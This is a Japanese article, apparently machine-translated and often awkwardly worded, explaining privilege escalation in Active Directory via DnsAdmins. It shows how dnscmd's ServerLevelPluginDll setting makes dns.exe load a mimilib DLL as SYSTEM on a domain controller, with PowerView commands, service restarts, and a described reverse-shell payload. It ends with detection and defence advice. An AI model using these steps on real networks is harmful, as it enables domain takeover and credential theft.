0x00はじめに
独自のDNSサーバー関数を実装することに加えて、Microsoftは、Active Directoryドメインとの管理統合を促進するために、このサーバー向けの独自の管理プロトコルも実装しています。デフォルトでは、ドメインコントローラーはDNSサーバーでもあります。ほとんどの場合、すべてのドメインユーザーは、DNSサーバーの機能にアクセスして使用する必要があります。これにより、ドメインコントローラーにかなりの攻撃面が公開されます。一方では、DNSプロトコル自体と、RPCに基づいた管理プロトコルです。 DNSプロトコルの実装を掘り下げ、優れたパワーレイズテクニックを詳細に導入します。場合によってはドメインコントローラーで危険なコードを実行することができますが、これはセキュリティの脆弱性ではありませんが、Microsoftが証明したように、REDチームに広告許可エスカレーションを提供できる機能のトリックにすぎません。
公式のMicrosoftドキュメント([MS-DNSP]、
https://msdn.microsoft.com/en-us/library/cc422504.aspx)関連情報を収集し、IDAを使用してdns.exeのバイナリファイル逆分析を実行します。
0x01 DNSサーバー管理プロトコルの基本知識
DNSサーバーのリモートアクセスと管理の方法を提供するRPCインターフェイスを定義するドメイン名サービス(DNS)サーバー管理プロトコルを指定します。これは、DNSサーバーを構成、管理、監視するためのRPCベースのクライアントおよびサーバープロトコルです。管理プロトコル層はRPCの上にあり、TCPまたは名前付きパイプの上に層状にすることができます。プロトコルまたはその実装原則に興味がある場合は、c: \ windows \ system32 \ dns.exの下のドメインコントローラーで見つけることができます。そのRPCインターフェイスUUID値は50ABC2A4-574D-40B3-9D66-EE4FD5FBA076で、\ pipe \ dnsserverという名前のパイプを使用して送信されます。
DNSサーバーは、ドメインコントローラーで実行されるサービスとして機能します。アクセス管理インターフェイスは、コマンドdnsmgmt.mscを実行してAD DNSサーバー(通常はドメインコントローラー)に接続することで開きます。これにより、ユーザーはDNSゾーン、検索、キャッシュ、フォワード、ロギングなどの情報を構成できます。この構造の複数のオブジェクトには、DNSサーバーオブジェクト(コンピューターアカウントではなく)、ゾーンオブジェクト、およびレコードが含まれるようにすることができます。この場合、DNSサーバーオブジェクトに関心があり、新しくインストールされたルールとポリシーを以下の図に示します。
デフォルトでは、DNSADMINS、ドメイン管理者、エンタープライズ管理者、管理者、およびエンタープライズドメインコントローラーグループのみが、このオブジェクトに権限を記述しています。攻撃者の観点から、私たちがDNSADMINSグループに属さないが、DNSに許可を読み書きできる各グループのメンバーである場合、DNSADMINがある場合にできることを見てみましょう。
0x02 dnsadmins許可の悪用
・DNS管理はRPC(UUIDは50ABC2A4-574D-40B3-9D66-EE4FD5FBA076)を介して実行され、透過メカニズムは\ pipe \ dnsserverという名前のパイプです。
・Microsoftプロトコルの仕様によると、選択可能なDLLは「ServerLevelPlugIndll」(検証済みのDLLパスなし)を介してロードできます。
・DNSCMD.EXEはこの関数を実装しています。
dnscmd.exe /config /serverLevelPlugIndll \\ path \ to \ dll
このDNSCMD.EXEコマンドをDNSADMINSメンバーのユーザーとして実行すると、次のレジストリキー値が登録されます。
hkey_local_machine \ system \ currentControlset \ services \ dns \ parameters \ serverLevelPlugIndll
・DNSサービスを再起動すると、このリモートパスにDLLがロードされます。ただし、DLLには「dnspluginitialize、dnsplugincleanup、またはdnspluginqueryエクスポート機能」を含める必要があります。
・DLLは、ドメインコントローラーのコンピューターアカウントがアクセスできるネットワーク共有ホスト上にある必要があります。
Mimikatzにはカスタマイズ可能なDLL(GitHubのソースコード)が含まれているため、DNSサービスが開始されたときにMimikatz DLLをロードするMimikatz DLLを更新して、攻撃者が読み取りにアクセスできる場所への資格情報のダンプを監視できることに注意してください。
0x03
ファジーテストServerLevelPlugIndllメッセージの処理イベントと照合ルールの処理。基本的に、サーバーがサポートする必要があるすべての操作を説明します。 1つ目はR_DNSSRVOPERATIONです。これには、サーバーが実行する操作を決定するPSZOPERATIONパラメーターが含まれています。スワイプダウンして、次のように、可能なpszoperation値のリストを閲覧します。
サーバーは、選択したDLLのみをロードしていることがわかります。 ServerLevelPlugIndllで手順を検索した後、次の有用な情報を見つけることができます。
サーバーは、この操作で指定されたDLLパスの検証さえ行わないようです。実装を開始する前に、Googleを使用してServerLevelPlugIndll関連情報を検索しますが、情報はありますが、有用なDNSCMDコマンドラインツールがポップアップします。
幸いなことに、DNSCMDは必要なすべてを達成しました。そのヘルプ情報を簡単に見ると、https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmdを参照することもできます。
コマンドオプションは次のとおりです。
dnscmd.exe
/config /serverLevelPlugIndll \\ path \ to \ dll
まず、これをDNSサーバーオブジェクトに特別な権限なしに通常のドメインユーザーとして実行してみてください(一般的な読み取りは、デフォルトでドメインユーザーグループを含む2000年以前の互換性のあるアクセスグループのすべてのメンバーを付与します)、コマンドはアクセスの拒否情報を実行できず、拒否された情報を表示しませんでした。通常のユーザーにサーバーオブジェクトへの書き込みアクセスを提供すると、コマンドを正常に実行できます。これは、DNSADMINSグループのメンバーがこのコマンドを正常に実行できることを意味します。
DCのメンバーを実行しているドメインマシンでプロセスモニターとプロセスエクスプローラーを実行している間、予想通りDNS.ExeのアドレススペースにDLLがロードされないことがわかります。ただし、次のレジストリキーが送信したパスに書き込まれていることがわかります。
hkey_local_machine \ system \ currentControlset \ services \ dns \ parameters \ serverLevelPlugIndll
これで、テストのためにDNSサーバーサービスを再起動しますが、起動できず、レジストリキー値をクリアすると開始できます。明らかに、DLLからより多くのものが必要です。
この場合、私たちが求めている機能に迅速に到達する可能性がいくつかあります
:IDAを通じて関連する文字列を検索し、関連するAPIを検索します。これは通常、最も簡単で最速の方法です。私たちの例:LoadLibraryWまたはGetProcAddressは、LoadLibraryWのDLL関数コードとそれを呼び出す関数を通じて、必要なものを提供します。ServerLevelPlugIndLLを実行するパスには検証がないことがわかります。
私たちが抱えている問題は確かにユニークです。DLLがロードに失敗した場合、またはDNSPluginitialize、DNSPlugincLeanup、またはDNSPluginQueryを含んでいない場合、サービスは開始されません。また、エクスポートがすべて0を返す(値を正常に返す)ことを確認する必要があります。そうしないと、サービスの失敗を引き起こす可能性もあります。
DLLのロードを担当する関数の擬似コードは、ほぼ次のとおりです。
hmodule hlib;
if(g_pluginpath * g_pluginpath){
hlib=loadlibraryw(g_pluginpath);
g_hndplugin=hlib;
if(!hlib){. log and return error .}
g_dlldnspluginitialize=getProcAddress(hlib、 "dnspluginitialize");
if(!g_dlldnspluginitialize){. log and return error .}
g_dlldnspluginquery=getProcAddress(hlib、 "dnspluginquery")
if(!g_dlldnspluginquery){. log and return error .}
g_dlldnsplugincleanup=getProcaddress(hlib、 "dnsplugincleanup")
if(!g_dlldnsplugincleanup){. log and return error .}
if(g_dlldnspluginitialize){
g_dlldnspluginitialize(pcallback1、pcallback2);
}
}
このPOCは、Visual Studio 2015でこのようなDLLのコードを表示する方法を示すために使用されます。
コンパイルディスプレイは、デフォルトのエクスポート名を必要な名前に変更するために使用されます。エクスポートが問題ないことを確認するには、パスを使用/エクスポートすることができます\ to \ dll
これで、新しいDLLとVoilaでDNSCMDを実行しようとします。それは機能します。DLLがDLLをドメインコントローラーのコンピューターアカウントでアクセスできるネットワークパスに配置することだけです(DNS.Exeはシステムで実行されます)(すべてのSIDにアクセスする必要があります)。
これは、あなたがDNSADMINSのメンバーである場合、DNSを管理するための権限を引き継ぐことができることを示唆していますが、それに限定されません。このヒエラルキーを正常に完了するために必要なのは、DNSサーバーオブジェクトに書き込みアクセスできるアカウントです。私の経験では、これらのオブジェクトのACLは通常、ドメイン管理者のACL(または管理者によって保護されている類似グループ)のように監視されず、目立たない平均ドメインユーザーが特権を強化する絶好の機会を提供します。
公式情報に記載されているように、これはすべての最新のWindows Serverバージョンに適用されるはずです。
MicrosoftのMSRCはすでにこの問題に関する問題を追跡しており、基本的にDC管理者がServerLevelPlugIndllレジストリのキー権限を変更できるようにすることで修正されると述べ、この機能は将来のリリースでオフにすることができます。
とにかく、DNS.Exeは現在、システムとして実行されており、危険な攻撃を受けているため、一部のファッザーにとって有用なエクスプロイトになる可能性があります。
0x04 DNS ADドメイン管理者インスタンスとして特権
DNSADMINSグループのメンバーである、またはDNSサーバーオブジェクトの記述権限を作成しているユーザーが、DNSサーバー上のシステム許可をDLLにロードできます。多くのエンタープライズ設定は、DNSサーバーとしてドメインコントローラー(DCS)も使用しているため、この機能が実際にどのように使用されているかを見てみましょう。
ここでは、検証する実験を設定します。この実験では、通常のドメインユーザー(Labuser)(DNSとADは同じサーバー)を介してADドメインに最初にアクセスします。
PowerViewを使用してDNSADMINSグループに属するユーザー情報を最初に列挙しましょう
ps c: \ get -netgroupmember -groupName 'dnsadmins'
Real RedチームまたはPentestでは、BuildAdminユーザーを攻撃することです。 PowerViewのInvoke-UserHunterを使用して、BuildAdminを使用してDNSサーバーにアクセスできる認証チケットを見つけることができます。
PS C: \ invoke -userhunter -username buildAdmin(コマンド認証チケットを実行して、ブリダミンユーザーのホストでDNSにアクセスする)
BuildAdminのチケットが利用可能で、現在のユーザー(Labuser)にもローカル管理者アクセスがあるこの認証済みのチケットが見つかったと仮定します。したがって、DNSADMINSグループのメンバーであるユーザーに許可があります。
現在、2つの状況があります。1つはDCサーバーとDNSサーバーの両方であり、もう1つはDNSサーバーとして別のサーバーです。
最初のケースでは、DNSサーバーサービスがDCで実行されています。DNSCMDツールを使用してDLLをロードできます。 PowerShellモジュールDNSServerもありますが、詳細な使用記録はありません。
次のコマンドを使用して、DLLをリモートでロードできます。 UNCパス\\ ops-build \ dllは、DCが読み取る必要があります。
PS C: \ DNSCMD OPS_DC /CONFIG /SERVERLEVELPLUGINDLL \\ OPS-BUILD \ DLL \ MIMILIB.DLL(DNSにアクセスし、DNSの権利をエスカレートするために許可を書き込む通常のドメインアカウントを持つユーザー))
デバッグ(ターゲットには管理者の許可が必要)には、次のコマンドを使用して、DLLがターゲットに正常に追加されたかどうかを確認できます。
PS C: \ get-itemproperty
現在、取得したユーザーBuildAdminはDNSADMINSグループに属しているため、DNSサービスを再起動できます。これはデフォルトの構成ではありませんが、そのようなユーザーにはDNSサービスを再起動する権利があります。
C: \ sc \ ops-dc stop dns
C: \ sc \ ops-dc start dns
では、上記のコマンドを正常に実行した後、何が得られますか?ベンジャミンは、この攻撃のためにミミリブをすぐに更新しました。この攻撃で使用されている更新されたバージョンMimilibは、すべてのDNSクエリをC: \ Windows \ System32 \ kiwidns.logにログに記録します。
KDNS.Cを変更して、リモートコマンド実行機能を含めることができます。 NishangのInvoke-Encodeエンコーディングを使用してPowerShellシェルを難読化するための簡単なコードを含めました。 DNSサービスの各クエリに対してペイロードを実行します。
リスニングサーバー上のリモートサーバー(DC)からバウンスすることができるshell:
ドメインコントローラーで取得されたシステム許可を正常に確認できます。
2番目のケースでは、DNSサービスがDCで実行されていない場合でも、ユーザーの「のみ」DNSADMINSアクセス許可を利用し、DNSサービスを再起動してシステムアクセスを取得できます。
攻撃を検出する方法は?攻撃を防ぐために、ポリシーを確認して、DNSサーバーオブジェクトの書き込み許可とDNSADMINSグループのメンバーシップを取得します。
DNSサービスの再起動とログ情報ディスプレイのペア:DNSサーバーログイベントID
150は失敗を意味し、770は成功を意味します
Microsoft-Windows-DNS-Server/Audit LogイベントIDが成功し、実行に失敗しました
541
レジストリの監視:\ system \ currentControlset \ Services
\ dns \ parameters \ serverLevelPlugIndll値も役立ちます。
0x05
防衛・管理者アカウントのみがDNSADMINSグループのメンバーであることを確認し、管理者のみがシステムDNSを管理する許可を持っていることを確認します。
・特権アクセスなしのグループ/アカウントのDNSサーバーオブジェクト許可ポリシー設定が正しいかどうかを定期的に確認します。
RPCを管理者アクセスサブネットにDC通信に制限します。
・DC管理者は、ServerLevelPlugIndllレジストリキーの権限を変更できるようにします。